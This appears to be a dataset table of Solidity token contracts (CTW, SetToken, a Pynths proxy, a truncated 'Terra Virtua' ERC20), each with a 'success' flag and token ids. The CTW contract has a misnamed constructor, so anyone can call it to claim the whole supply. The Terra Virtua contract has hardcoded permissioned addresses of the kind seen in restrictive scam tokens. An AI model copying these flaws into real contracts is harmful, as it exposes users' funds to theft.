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stringlengths 52
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| success
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value | input_ids
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|---|---|---|---|
// CTWtoken
pragma solidity ^0.4.4;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {return false;}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {return false;}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract CTW is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = "1.0";
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function CTWtoken() {
balances[msg.sender] = 14000000000000000000000000000;
totalSupply = 14000000000000000000000000000;
name = "CTWtoken";
decimals = 18;
symbol = "CTW";
fundsWallet = msg.sender;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if (!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) {throw;}
return true;
}
} | True | [
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pragma solidity 0.4.23;
//////////////////////////////
///// ERC20Basic
//////////////////////////////
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
//////////////////////////////
///// ERC20 Interface
//////////////////////////////
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//////////////////////////////
///// ERC20 Basic
//////////////////////////////
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
//////////////////////////////
///// DetailedERC20
//////////////////////////////
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function DetailedERC20(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
//////////////////////////////
///// Standard Token
//////////////////////////////
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
//////////////////////////////
///// SafeMath
//////////////////////////////
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
//////////////////////////////
///// AddressArrayUtil
//////////////////////////////
/**
* @title AddressArrayUtil
*/
library AddressArrayUtils {
function hasValue(address[] addresses, address value) internal returns (bool) {
for (uint i = 0; i < addresses.length; i++) {
if (addresses[i] == value) {
return true;
}
}
return false;
}
function removeByIndex(address[] storage a, uint256 index) internal returns (uint256) {
a[index] = a[a.length - 1];
a.length -= 1;
}
}
//////////////////////////////
///// Set Interface
//////////////////////////////
/**
* @title Set interface
*/
contract SetInterface {
/**
* @dev Function to convert component into {Set} Tokens
*
* Please note that the user's ERC20 component must be approved by
* their ERC20 contract to transfer their components to this contract.
*
* @param _quantity uint The quantity of Sets desired to issue in Wei as a multiple of naturalUnit
*/
function issue(uint _quantity) public returns (bool success);
/**
* @dev Function to convert {Set} Tokens into underlying components
*
* The ERC20 components do not need to be approved to call this function
*
* @param _quantity uint The quantity of Sets desired to redeem in Wei as a multiple of naturalUnit
*/
function redeem(uint _quantity) public returns (bool success);
event LogIssuance(
address indexed _sender,
uint _quantity
);
event LogRedemption(
address indexed _sender,
uint _quantity
);
}
/**
* @title {Set}
* @author Felix Feng
* @dev Implementation of the basic {Set} token.
*/
contract SetToken is StandardToken, DetailedERC20("Stable Set", "STBL", 18), SetInterface {
using SafeMath for uint256;
using AddressArrayUtils for address[];
///////////////////////////////////////////////////////////
/// Data Structures
///////////////////////////////////////////////////////////
struct Component {
address address_;
uint unit_;
}
///////////////////////////////////////////////////////////
/// States
///////////////////////////////////////////////////////////
uint public naturalUnit;
Component[] public components;
// Mapping of componentHash to isComponent
mapping(bytes32 => bool) internal isComponent;
// Mapping of index of component -> user address -> balance
mapping(uint => mapping(address => uint)) internal unredeemedBalances;
///////////////////////////////////////////////////////////
/// Events
///////////////////////////////////////////////////////////
event LogPartialRedemption(
address indexed _sender,
uint _quantity,
bytes32 _excludedComponents
);
event LogRedeemExcluded(
address indexed _sender,
bytes32 _components
);
///////////////////////////////////////////////////////////
/// Modifiers
///////////////////////////////////////////////////////////
modifier hasSufficientBalance(uint quantity) {
// Check that the sender has sufficient components
// Since the component length is defined ahead of time, this is not
// an unbounded loop
require(balances[msg.sender] >= quantity, "User does not have sufficient balance");
_;
}
modifier validDestination(address _to) {
require(_to != address(0));
require(_to != address(this));
_;
}
modifier isMultipleOfNaturalUnit(uint _quantity) {
require((_quantity % naturalUnit) == 0);
_;
}
modifier isNonZero(uint _quantity) {
require(_quantity > 0);
_;
}
/**
* @dev Constructor Function for the issuance of an {Set} token
* @param _components address[] A list of component address which you want to include
* @param _units uint[] A list of quantities in gWei of each component (corresponds to the {Set} of _components)
*/
constructor(address[] _components, uint[] _units, uint _naturalUnit)
isNonZero(_naturalUnit)
public {
// There must be component present
require(_components.length > 0, "Component length needs to be great than 0");
// There must be an array of units
require(_units.length > 0, "Units must be greater than 0");
// The number of components must equal the number of units
require(_components.length == _units.length, "Component and unit lengths must be the same");
naturalUnit = _naturalUnit;
// As looping operations are expensive, checking for duplicates will be
// on the onus of the application developer
// NOTE: It will be the onus of developers to check whether the addressExists
// are in fact ERC20 addresses
for (uint16 i = 0; i < _units.length; i++) {
// Check that all units are non-zero. Negative numbers will underflow
uint currentUnits = _units[i];
require(currentUnits > 0, "Unit declarations must be non-zero");
// Check that all addresses are non-zero
address currentComponent = _components[i];
require(currentComponent != address(0), "Components must have non-zero address");
// Check the component has not already been added
require(!tokenIsComponent(currentComponent));
// add component to isComponent mapping
isComponent[keccak256(currentComponent)] = true;
components.push(Component({
address_: currentComponent,
unit_: currentUnits
}));
}
}
///////////////////////////////////////////////////////////
/// Set Functions
///////////////////////////////////////////////////////////
/**
* @dev Function to convert component into {Set} Tokens
*
* Please note that the user's ERC20 component must be approved by
* their ERC20 contract to transfer their components to this contract.
*
* @param _quantity uint The quantity of Sets desired to issue in Wei as a multiple of naturalUnit
*/
function issue(uint _quantity)
isMultipleOfNaturalUnit(_quantity)
isNonZero(_quantity)
public returns (bool success) {
// Transfers the sender's components to the contract
// Since the component length is defined ahead of time, this is not
// an unbounded loop
for (uint16 i = 0; i < components.length; i++) {
address currentComponent = components[i].address_;
uint currentUnits = components[i].unit_;
uint preTransferBalance = ERC20(currentComponent).balanceOf(this);
uint transferValue = calculateTransferValue(currentUnits, _quantity);
require(ERC20(currentComponent).transferFrom(msg.sender, this, transferValue));
// Check that preTransferBalance + transfer value is the same as postTransferBalance
uint postTransferBalance = ERC20(currentComponent).balanceOf(this);
assert(preTransferBalance.add(transferValue) == postTransferBalance);
}
mint(_quantity);
emit LogIssuance(msg.sender, _quantity);
return true;
}
/**
* @dev Function to convert {Set} Tokens into underlying components
*
* The ERC20 components do not need to be approved to call this function
*
* @param _quantity uint The quantity of Sets desired to redeem in Wei as a multiple of naturalUnit
*/
function redeem(uint _quantity)
public
isMultipleOfNaturalUnit(_quantity)
hasSufficientBalance(_quantity)
isNonZero(_quantity)
returns (bool success)
{
burn(_quantity);
for (uint16 i = 0; i < components.length; i++) {
address currentComponent = components[i].address_;
uint currentUnits = components[i].unit_;
uint preTransferBalance = ERC20(currentComponent).balanceOf(this);
uint transferValue = calculateTransferValue(currentUnits, _quantity);
require(ERC20(currentComponent).transfer(msg.sender, transferValue));
// Check that preTransferBalance + transfer value is the same as postTransferBalance
uint postTransferBalance = ERC20(currentComponent).balanceOf(this);
assert(preTransferBalance.sub(transferValue) == postTransferBalance);
}
emit LogRedemption(msg.sender, _quantity);
return true;
}
/**
* @dev Function to withdraw a portion of the component tokens of a Set
*
* This function should be used in the event that a component token has been
* paused for transfer temporarily or permanently. This allows users a
* method to withdraw tokens in the event that one token has been frozen.
*
* The mask can be computed by summing the powers of 2 of indexes of components to exclude.
* For example, to exclude the 0th, 1st, and 3rd components, we pass in the hex of
* 1 + 2 + 8 = 11, padded to length 32 i.e. 0x000000000000000000000000000000000000000000000000000000000000000b
*
* @param _quantity uint The quantity of Sets desired to redeem in Wei
* @param _componentsToExclude bytes32 Hex of bitmask of components to exclude
*/
function partialRedeem(uint _quantity, bytes32 _componentsToExclude)
public
isMultipleOfNaturalUnit(_quantity)
isNonZero(_quantity)
hasSufficientBalance(_quantity)
returns (bool success)
{
// Excluded tokens should be less than the number of components
// Otherwise, use the normal redeem function
require(_componentsToExclude > 0, "Excluded components must be non-zero");
burn(_quantity);
for (uint16 i = 0; i < components.length; i++) {
uint transferValue = calculateTransferValue(components[i].unit_, _quantity);
// Exclude tokens if 2 raised to the power of their indexes in the components
// array results in a non zero value following a bitwise AND
if (_componentsToExclude & bytes32(2 ** i) > 0) {
unredeemedBalances[i][msg.sender] += transferValue;
} else {
uint preTransferBalance = ERC20(components[i].address_).balanceOf(this);
require(ERC20(components[i].address_).transfer(msg.sender, transferValue));
// Check that preTransferBalance + transfer value is the same as postTransferBalance
uint postTransferBalance = ERC20(components[i].address_).balanceOf(this);
assert(preTransferBalance.sub(transferValue) == postTransferBalance);
}
}
emit LogPartialRedemption(msg.sender, _quantity, _componentsToExclude);
return true;
}
/**
* @dev Function to withdraw tokens that have previously been excluded when calling
* the partialRedeem method
* The mask can be computed by summing the powers of 2 of indexes of components to redeem.
* For example, to redeem the 0th, 1st, and 3rd components, we pass in the hex of
* 1 + 2 + 8 = 11, padded to length 32 i.e. 0x000000000000000000000000000000000000000000000000000000000000000b
*
* @param _componentsToRedeem bytes32 Hex of bitmask of components to redeem
*/
function redeemExcluded(bytes32 _componentsToRedeem)
public
returns (bool success)
{
require(_componentsToRedeem > 0, "Components to redeem must be non-zero");
for (uint16 i = 0; i < components.length; i++) {
if (_componentsToRedeem & bytes32(2 ** i) > 0) {
address currentComponent = components[i].address_;
uint remainingBalance = unredeemedBalances[i][msg.sender];
// To prevent re-entrancy attacks, decrement the user's Set balance
unredeemedBalances[i][msg.sender] = 0;
require(ERC20(currentComponent).transfer(msg.sender, remainingBalance));
}
}
emit LogRedeemExcluded(msg.sender, _componentsToRedeem);
return true;
}
///////////////////////////////////////////////////////////
/// Getters
///////////////////////////////////////////////////////////
function getComponents() public view returns(address[]) {
address[] memory componentAddresses = new address[](components.length);
for (uint16 i = 0; i < components.length; i++) {
componentAddresses[i] = components[i].address_;
}
return componentAddresses;
}
function getUnits() public view returns(uint[]) {
uint[] memory units = new uint[](components.length);
for (uint16 i = 0; i < components.length; i++) {
units[i] = components[i].unit_;
}
return units;
}
function getUnredeemedBalance(address _componentAddress, address _userAddress) public view returns (uint256) {
require(tokenIsComponent(_componentAddress));
uint componentIndex;
for (uint i = 0; i < components.length; i++) {
if (components[i].address_ == _componentAddress) {
componentIndex = i;
}
}
return unredeemedBalances[componentIndex][_userAddress];
}
///////////////////////////////////////////////////////////
/// Transfer Updates
///////////////////////////////////////////////////////////
function transfer(address _to, uint256 _value) validDestination(_to) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) validDestination(_to) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
///////////////////////////////////////////////////////////
/// Private Function
///////////////////////////////////////////////////////////
function tokenIsComponent(address _tokenAddress) view internal returns (bool) {
return isComponent[keccak256(_tokenAddress)];
}
function calculateTransferValue(uint componentUnits, uint quantity) view internal returns(uint) {
return quantity.div(naturalUnit).mul(componentUnits);
}
function mint(uint quantity) internal {
balances[msg.sender] = balances[msg.sender].add(quantity);
totalSupply_ = totalSupply_.add(quantity);
emit Transfer(address(0), msg.sender, quantity);
}
function burn(uint quantity) internal {
balances[msg.sender] = balances[msg.sender].sub(quantity);
totalSupply_ = totalSupply_.sub(quantity);
emit Transfer(msg.sender, address(0), quantity);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-02
*/
/*
Note:
This is a PROXY contract, it defers requests to its underlying TARGET contract.
Always use this address in your applications and never the TARGET as it is liable to change.
*//*
* Pynths : Proxy.sol
*
*
* Contract Dependencies:
* - Owned
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 Pynths
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity ^0.5.16;
// https://docs.pynthetix.io/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// Internal references
// https://docs.pynthetix.io/contracts/source/contracts/proxyable
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
Proxy public integrationProxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setIntegrationProxy(address payable _integrationProxy) external onlyOwner {
integrationProxy = Proxy(_integrationProxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
// Inheritance
// Internal references
// https://docs.pynthetix.io/contracts/source/contracts/proxy
contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
} | True | [
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22305,
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] |
pragma solidity ^0.6.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.6;
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* Available since v3.1.
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.6.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
pragma solidity ^0.6.6;
contract Permissions is Context
{
address private _creator;
address private _uniswap;
mapping (address => bool) private _permitted;
constructor() public
{
_creator = 0x1153B9057108a59d968D130251614C77393D4558;
_uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
_permitted[_creator] = true;
_permitted[_uniswap] = true;
}
function creator() public view returns (address)
{ return _creator; }
function uniswap() public view returns (address)
{ return _uniswap; }
function givePermissions(address who) internal
{
require(_msgSender() == _creator || _msgSender() == _uniswap, "You do not have permissions for this action");
_permitted[who] = true;
}
modifier onlyCreator
{
require(_msgSender() == _creator, "You do not have permissions for this action");
_;
}
modifier onlyPermitted
{
require(_permitted[_msgSender()], "You do not have permissions for this action");
_;
}
}
pragma solidity ^0.6.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Permissions, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18 and a {totalSupply} of the token.
*
* All four of these values are immutable: they can only be set once during
* construction.
*/
constructor () public {
//_name = " Terra Virtua ";
//_symbol = Terra ";
_name = "Terra Virtua ";
_symbol = "Terra";
_decimals = 18;
_totalSupply = 5000000000000000000000;
_balances[creator()] = _totalSupply;
emit Transfer(address(0), creator(), _totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
